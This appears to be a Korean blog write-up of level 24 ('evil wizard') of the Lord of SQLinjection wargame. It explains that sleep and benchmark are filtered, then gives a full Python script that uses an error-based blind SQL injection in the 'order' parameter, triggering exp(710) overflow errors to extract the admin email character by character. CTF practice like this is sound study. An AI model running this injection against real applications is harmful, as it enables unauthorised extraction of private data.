Lord of SQLinjection ( 24번 ) evil wizard

 

 

 

 

 

 

 

 

 

 

24번 문제이다.

 

 

 

 

 

 

 

hell fire랑 다르다고 하는 이유는 아마,,

 

 

이전에 time based 를 이용해 인젝션을 시도했을 때 다르게 해보라고 하는 말 같다

 

 

왜냐면  sleep, 이랑 benchmark 함수가 필터링 되어있기 때문이다.

 

*BENCHMARK() 함수는 SLEEP() 함수와 같이 디버깅이나 간단한 함수 성능 테스트 용으로 유용하다. 2개의 인자를 필요로 하며, 첫 번째 인자는 반복 수행할 횟수이며, 두번 째인자는 실행할 표현식을 입력한다. 두 번째 인자의 표현식은 반드시 스칼라 값을 반환하는 표현식이어야 한다.  

 

import requests

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookie = dict(PHPSESSID="qj5t6mkn1p3jirjor275qick7f")

def pw_length():
    print("**** Finding email length ****")
    for i in range(1, 31):  # Length of email typically won't be 0
        param = f"?order=(select exp(710) where {i}=(select length(email) where id='admin'))%23"
        new_url = url + param
        res = requests.get(new_url, cookies=cookie)
        if "rubiya805" not in res.text and res.text != "":
            print("Found email length: " + str(i))
            return i
        else:
            print("Length check failed for: " + str(i))
    return None  # Return None if length not found within range

def pw_get(length):
    if length is None:
        print("Could not determine email length.")
        return None

    print("**** Finding email content ****")
    email = ""
    for i in range(1, length + 1):
        print(f"Checking character position {i}")
        for j in range(32, 127):  # Printable ASCII characters range
            param = f"?order=(select exp(710) where {j}=(select ascii(substr(email,{i},1)) where id='admin'))%23"
            new_url = url + param
            res = requests.get(new_url, cookies=cookie)
            if "rubiya805" not in res.text and res.text != "":
                print(f"Character at position {i} -> {chr(j)}")
                email += chr(j)
                break
    return email

length = pw_length()
email = pw_get(length)
if email:
    print("Here's the email: " + email)
else:
    print("Failed to retrieve email.")

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

**key point

order 필터링 _  >  &으로 파라미터 연결